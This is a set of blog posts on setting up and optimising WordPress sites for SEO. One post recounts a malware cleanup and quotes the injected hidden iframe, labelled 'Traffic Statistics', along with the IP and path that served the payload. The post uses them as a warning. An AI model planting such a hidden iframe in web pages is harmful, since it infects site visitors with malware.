Over the past couple of years, we’ve become quite dependent upon WordPress because of the versatility of this open source management system, allowing us to do nearly anything we can imagine.

In many cases WordPress can be a good supplement to existing website, allowing users to easily add and manage search engine friendly content without the need of the Web designer.

In other cases, entire project developments can be done in WordPress, allowing the site to be managed well by non-technical users, with all of the “SEO” aspects happening in the background.

In addition to recommending WordPress for clients, we’ve built dozens of our own affiliate websites on the platform, and have even launched a separate business, matching WordPress themes to the look and feel of existing sites.

Regardless of what the purpose of the WordPress site is going to be, or what particular plug-ins may help the owner meet those needs, there are some fundamental steps that need to be taken regarding WordPress, and I’ve outlined them for you here.

1. Host on your own domain
The free version of WordPress that’s hosted at WordPress.com is fine for familiarizing yourself with the functionality of writing posts and trying it out, but I recommend never using it for anything permanent. Here are just a few of the reasons…

On WordPress.com hosted sites, you cannot use any plugins, since you have no FTP access. That means that you can’t use any of the cool things that have been developed, or any of the things that will be developed next.

Even though you own the content, you can’t monetize the site with ads, since it’s against WordPress rules.

Most important of all, since you don’t own the domain, if you one day decide that you’d like to host on your own domain, you can’t 301 redirect all of your old URL’s to your new location.

After you install WordPress -

2. Change the Admin Password -
Change your administrator password immediately after installation. Sometimes things are just flaky, and the admin email doesn’t arrive for hours, and in some cases, it never arrives.

I’ve also seen servers where the “lost / change password” function doesn’t work either. There is no way you’re ever going to remember that autgenerated password, so as soon as you see the splash screen showing you a successful install and the password, log right in and change it to a familiar and
secure one that you can remember.

3. Change your permalink structure
Search engines have gotten much better about crawling dynamic URL’s but it’s my belief that it’s still slightly beneficial to have keywords in them.

Not to mention that search engines are far less important than actual humans, aren’t they? Let’s face it – People are more likely to share and click on links that have decent URL’s, where they can tell what the item is about. For example, which of these two URL’s would attract your interest?

http://www.domain.com/free-superbowl-tickets or
http://www.domain.com/?p=32 ?

There are many options for permalinks, but my choice is this…
%category%/title%

Change by going to options – permalinks – and paste that code into the bottom line. If you get a message telling you that you need to update your HT access, then you should either do that manually, or simply change the permissions (CHMOD) for your .htaccess file so it’s writable.

If for some reason your posts don’t work after that just returned to the options section and recheck the default box, putting it all back to normal while you troubleshoot.

4. Make your display decisions –
If you’re using WordPress as a static site, then you need to decide whether you want to display your most recent articles (posts) on the homepage, or you want to have a separate homepage, and display your blog posts elsewhere. These options are chosen in WordPress admin at the settings – reading menu.

By default the homepage will show your latest posts, but if you prefer, you can choose to select a static page as your homepage, and a different page to show your posts.

Of course if you choose this latter option then you’ll first need to go create a new page as “Home”, and probably create a “news and articles” page as well, for the blog posts. You can also use the existing About page that comes added by default, but if you do that, I recommend you change the permalink for it as well.

5. Edit your title tag preferences –
(THIS IS THEME SPECIFIC)
By default, the WordPress titles are sort of weird. To better optimize them, here’s my solution. Just replace the <title> calls in header.php of your theme with the following code…

<title>< ?php if ( is_single() ) { ?>< ?php } ?>< ?php wp_title(”); ?> < ?php if (is_home()) { ?>< ?php } else { ?> | < ?php } ?> < ?php bloginfo(‘name’); ?> </title>

This does a couple of things -
a. It places the individual post title at the beginning of the tag

b. It adds a “pipe” character | , or you might prefer to use a dash instead, but either one will have the desired effect of separating the title of the post from the title of the blog.

c. It gets rid of the >>blog archive >> that ends up going into many of the WordPress URLs

6. Change or delete “Hello World” post, permalink, and comment –
The first post that is installed by default for you is called “Hello World”. If you do a search on Google for “Hello World” or “Welcome to WordPress, this is your first post” and you’ll see how many people don’t even do that first part.

I also recommend changing the permalink to that post, which otherwise, will forever read /hello-world no matter WHAT the actual post title gets changed to. This is easily done on the right of the edit post screen.

7. Change “Uncategorized” category & permalink
By default, the name AND permalink to the first category is “uncategorized”, so you want to change that, by going to Manage > Categories in the admin panel. Be sure to choose a good master category name that will cover your bases for the occasional post you accidentally leave uncategorized, since this will become the default.

You’ll also want to be certain to edit the permalink at the same time, since that category is going to become a part of the URL.

8. Change “About” page title & Permalink
Depending on how you use static pages in your blog, this may not be necessary, but for me, it can’t be overlooked. Since I frequently use WordPress for static sites, the first thing I dio is go to the edit > pages – and change the title of “About” to Home, and make it the home page. Unless I forever want the permalink to be, /about I change that at the same time to home.

9. Update your ping list
Every time a new page or post is added, WordPress can notify multiple services that you have new content. Doing so will be spidered and visited more frequently improving your rankings. These options can be found in the Admin section, by going to settings > writing, and scrolling to the bottom.

Instead of using just the one service provided by default, (Pingomatic), I prefer to paste about 100 known and functional ping sites in the list, and I’ve made my entire WordPress big ping list available

10. Install your first plugin – BACKUP
This takes under 60 seconds, and can potentially save you a lot of misery. After the blog is going, I like to use the WordPress automatic backup plug-in, that will email your entire database to you on a regular basis, and even keep a copy on the server too – Download it here

Some people may argue that blocking or nofollowing your monthly archives (or even your category archives) belongs on this list,  but I think those choices are to be made on an individual basis, and chose not to include them on this list. Personally, I have not blocked either one on my blog, and Google seems to be figuring it out just fine.

It’s only after all these steps above are done that I’s recommend beginning to make your plugin choices and installing them.  Since there are literally hundreds of plugins that are rock solid, and will make WordPress do amazing things, I’m not going to get into them here.

I will say though, that If you want your site to be found, and you want it to perform well, then you need to do some reading. Talented developers all over the world are creating little miracle plug-ins every day, and you should make your choices wisely, and do lots of homework…

I was at a friends home a couple of weeks ago, and he was complaining about a virus on his computer. Try as he might, he could not get rid of this virus. I total look and thought I was able to remove it, but he said that the next day it came back.

Ultimately he ended up having a local computer repair person come out, who cleaned up his system and a couple of hours and the problem went away., but today,we talked by phone, and he told me he got the warning again when he viewed his own blog.

I took a look at his blog and here’s what I saw -

Interesting! I recognize the IP address from the file that I couldn’t seem to get rid of while I was visiting, so now we had our culprit. We knew where his virus came from… it came from his own WordPress blog!

At that point I did little bit of research, and found a post on the WordPress support forum talking about this very issue, where it seemed that someone had inserted this code into one of someone else’s old posts.

<!– Traffic Statistics –> <iframe height=”1″ width=”1″ frameBorder=”0″ src=”http://www.wp-stats-XXXphp.info/iframe/wp-stats.XXXphp”></iframe><!– End Traffic Statistics –>

At that point it was a matter of picking through all of his posts manually, and viewing the html code of each one, before finding and deleting it. Of course, in his case, it was found in 8 different posts! It was coming from http://61.155.8.157/iframe/wp-stats.php and was a VBS Malware-gen

Luckily he’s an infrequent poster, but can you imagine how difficult this may have been if there were multiple users posting everyday?

The moral of the story? Moderate your new users, use a secure password, keep your WordPress current (his was not) and watch out for strange e-mail addresses signing up as new users!

I was commenting on a blog this morning when I saw that there were a number of comment author links that were NoFollowed, and a number that were not.  The blog owner was singling out comments for approval to allow the passing of link juice.

That reminded me to check a few of my recent comments for validity, and make sure nobody was guilty of blatant link juicing and I noticed that something in my DoFollow plugin was broken.

I’ve been using Greg Boser and Dax’s modified DoFollow plugin, which used to work great, but now with the new WordPress version, it seems to be broken for individual comment choices, ith this option being gone…

The plugin does still seem to work for nofollowing an entire post, (a clever way to harness and redirect some of your own link juice on old posts) but I’d like comment level control back. Greg, are you going to fix it?  Someone suggested a specific line fix on your blog, but it didn’t work for me.

A little Google research brought me to this post which I think is very well written, explains the  reason behind the need, as well as a rundown of many DoFollow options that I never even knew existed.

It’s well worth a read, if you’re interested in the subject, or have been hunting for options for your own blog. In the meantime, I’ll probably hang tight with Gregs for a while waiting for an update…

I’m pulling the trigger on something I haven’t had the guts to do before, but it’s long overdue. After nearly 3 years, I’m changing the permalink structure on my blog, although it’s not for the reasons you might think.

Besides search engine visibility, the more realistic answer is simple “user-friendliness”. People really aren’t that much different than search engine spiders when it comes to determining the relevancy of a link.

Another reason is that someone sent me an e-mail recently asking me if I’m such an expert, then why aren’t my own URL’s optimized for best performance?”

Well that person had a good point, and my answer was that I didn’t know any better when I first set it up, and I’ve just been too busy/lazy to change them, and afraid of even the temporary ranking drops that go along with changing URLs.

As more and more users look at the URLs in their browser status bar before they click, having keywords in your URLs is going to improve click-throughs.

For example, a while ago I wrote a blog post called “Things to hate about office 2007” and I needed to send someone a link to it.

When I pasted the URL I saw this – http://www.pdxtc.com/wpblog/archives/462 and that’s just not very compelling or informative. However, once I changed my permalinks, it looked like this – http://www.pdxtc.com/wpblog/microsoft/things-to-hate-about-office-2007/

“Are you crazy?” you might be asking yourself… “Doesn’t changing your URL’s or permalinks create 404 errors?”

Well yes it does, but not if you do 301 redirects.

“Are you even more crazy?” you might be thinking… “Isn’t doing hundreds or thousands of 301 redirects a complete pain in the neck?”

Well, yes it HAS been in the past, but there’s a cool WordPress plugin called Deans Permalinks Migration that made the process so easy it’s hard to believe.

With 301 redirects in place for all of my old URL’s, there’s really no risk of permanently losing search visibility, since all of my indexed URLs will still work, all of my inbound links will still work, and finally, the visible Google PageRank should flow to the new pages I’ve created with the next update.

The downside is of course that all the pages will show as a PR0 until at least the next update, and possibly two, but since we can’t sell links anymore, who really cares?

The other downside is that traffic and rankings will likely drop, but only temporarily. Exactly WHY this happens is in my opinion, on of Google’s shortcomings, but it does. Show me a domain that changes URL’s, but loses no rankings temporarily, and Ill call it a fluke. Things always drop.

That said, with a properly implemented 301 strategy, ALL of your rankings should (and will) return just as strong as ever, provided you don’t have other radical changes that would negatively affect visibility.

Check out the plug-in, and if you want to see how easy it is to use, I’ve added a 3 minute video –

I came across a WordPress plug-in called FAQ-Tastic , which allows users to submit questions to your website, and I’ve added it here.

You can create categories of questions, and even have different forms for people to ask questions about different subjects, with no apparent limit.

Upon submitting those questions, they receive an e-mail with your customized message, and view as the administrator of the blog receive an e-mail as well, notifying you that there are new questions to be answered.

Once you answer the question, they receive an e-mail thanking them, and providing them with a link to the new page where the question has been answered.

The free version works very well, but there are a couple of issues:

1. The page name is incredibly long. The title tag and URL created automatically are extremely cumbersome. There appears to be an interface for shortening the title and URL, but when I do that it still doesn’t work.

2. If you prefer to use one submission form for all your question categories, there’s no way (that I can tell) to change it to a different category. Therefore, it’s necessary to make individual submission areas for each type of question. It’s a snap, though.

Overall it’s a fantastic plug-in, highly useful and highly recommended.

Now, luckily for me, I happen to have a semi-personal connection with the webmaster of the developer, and through our e-mail communications, and he offered me a sneak peek at their “Pro Version”, and I have to tell you it’s quite cool

The first thing I noticed about the Pro version was that I could now change the question group of a submitted question, so that eliminates the need for me to have multiple submission forms. I just have to put in one form for all questions, and then assigned to a group when I answer. Nice.

The second thing I noticed was the addition of an option to add Adsense code, or any other code I might want universally to every new page created.

The third thing I noticed, that was a huge improvement was the ability to edit my URL and title tag upon approval of the question.

The only criticism I have of the paid version is that the question approval interface doesn’t seem to work in Firefox. Before reporting the bug, I looked at it in Internet Explorer 7, where it looked just fine.

This free plug-in gets a big thumbs up, and when the paid version comes out, you can bet I’ll be an affiliate, because it really rocks.

I get a lot of e-mails asking questions, and I frequently turn my replies into articles. That’s actually how my SEO 101 section came about long ago.

Replying can be quite time consuming, but not replying might be seen as rude, so I’ve now come up with a great compromise that adds a sort of “Web 2.0″ aspect to my site, and helps me easily generate new content.

Since I had this idea, I’ve been playing with a certain plug-in for a long time, and just today decided to buckle down and make it work. If you look over to the left on my blog menu you’ll see a new link for Ask Scott.

It’s an FAQ plug-in and it’s really pretty cool. For every question that gets asked, I get an e-mail notification, along with a link to log in to my own blog and answer the question.

Upon my answering, a new page is created and added to my blog, and the FAQ question page is updated. Each new question page is created with subject specific link text, title tag, H1 tag etc. and even added to my XML site map.

The sender of the question is then notified with a copy of the answer, as well as a link to the specific page where the question is displayed, where they (and others) can give the answer a thumbs up or down.

The only recommendation I’ve got for the creators of this FAQtastic plug-in would be to allow an option for the use of a post for each new question answered, instead of a static page. This would encourage comments and further discussion on each particular question asked. Otherwise, great job guys, and thank you…

People engaged in serious online marketing have long been taking advantage of WordPress as a nearly perfect website platform to build and maintain websites for some time now.  Combined with cutting edge SEO plugins, it’s unstoppable, in my opinion.

Meanwhile, others engaged in serious PPC  testing have been taking advantage of Google’s Website Optimizer too.  Accessible right from your Adwords console, you can use it to split test your headlines, text and images for your landing pages.

Thanks to some industrious programmers, there is a plug-in available for WordPress that integrates Google Website Optimizer right into the WordPress admin control panel.

Although it came out this past spring, we really hadn’t played much with implementation until just recently, after reading about it in a Stomper forum thread, and it’s pretty impressive.  Unlike many of the cutting-edge plug-ins lately,  they’ve even offered a complete step-by-step guide for implementation.

The plug-in was developed by Content Robot in a cooperative effort between Future Now  who also has some amazing free  resources for learning Google website optimizer

Kudos, and thank you! – This stuff just keeps getting cooler and easier doesn’t it?

From a site visitor perspective, of course it should look professional, and be functional and easy to use, but what about for the administrator or site owner that needs to maintain it? What would make it perfect for them?

Host anywhere
In their case, the perfect website would not be dependent on where it’s hosted, nor would it be dependent on a certain web designer to be able to easily add or change content.

Easy to Edit
A perfect website would be accessible by the site owner from any computer in the world, to add and edit content as they wish without having to own expensive software, or have a computer science degree.

Scalable
A perfect website would be able grow with a business, and be able to incorporate things later that may not be needed in the beginning, like a shopping cart, a forum, live chat, contact forms, surveys, audio, video, or anything else the site owner may desire.

A perfect website would be built with the search engines in mind, knowing that their future may depend on it.

Search Engine Friendly
In keeping with the search engine friendly best practices, every time a new page is added, a unique and page specific title tag would be automatically generated.

The description tag too, would be completely unique, and automatically come from the first 150 characters of text on the new content page.

Since a header tag and keyword tags are a part of every good webpage found in the search engines, those two items would also be automatically generated with no extra effort given by the page author unless they wanted to.

In a perfect world, content could even be added to this site using RSS feeds that come from other subject relevant websites. Naturally, any new content created on this perfect website would automatically generate its own RSS feed, for users to subscribe to and other websites to display on their sites.

Automatic Notification
What if every time a new page were created, an XML site map could be automatically generated and zipped, then Google were to be pinged to come get it, how cool would that be?

At the same time Google were to get pinged, what if dozens of news services too, could be automatically notified new content had been added to the website so that they could come visit and index it immediately.

Content and Design Separated
The perfect website would also use CSS, and keep the content completely separate from the design. This would allow for easy backup, and even more important, allow for easy design changes, done literally within seconds.

Open Source
Of course a perfect website wouldn’t cost a fortune either. In fact, if it were perfect, then it would be free, and even supported by a community of thousands of designers and developers.

WordPress
Until now, this wish list of things that a perfect website should have just wasn’t realistic. While all these things might take place individually with the proper systems in place and a lot of effort, there really hasn’t been an all-in-one solution that could please nearly everyone.

Now, however, with the recent upgrade of WordPress 2.1 and the built in ability to use a static page for your homepage, there’s no reason to keep dreaming.

Word press software is free, and if you’re a do it yourself type, a WordPress tutorial program is available from Sherman Hu, one of the top WordPress authorities in the world.

The tutorials are excellent (that’s why I’m an affiliate), and can take you start to finish, through installation and customization, as well as the code modifications for search engine friendliness. If you’re not a do it yourself type, then that’s why I’m here.

WordPress really isn’t just blog software anymore…it’s how you make the perfect website!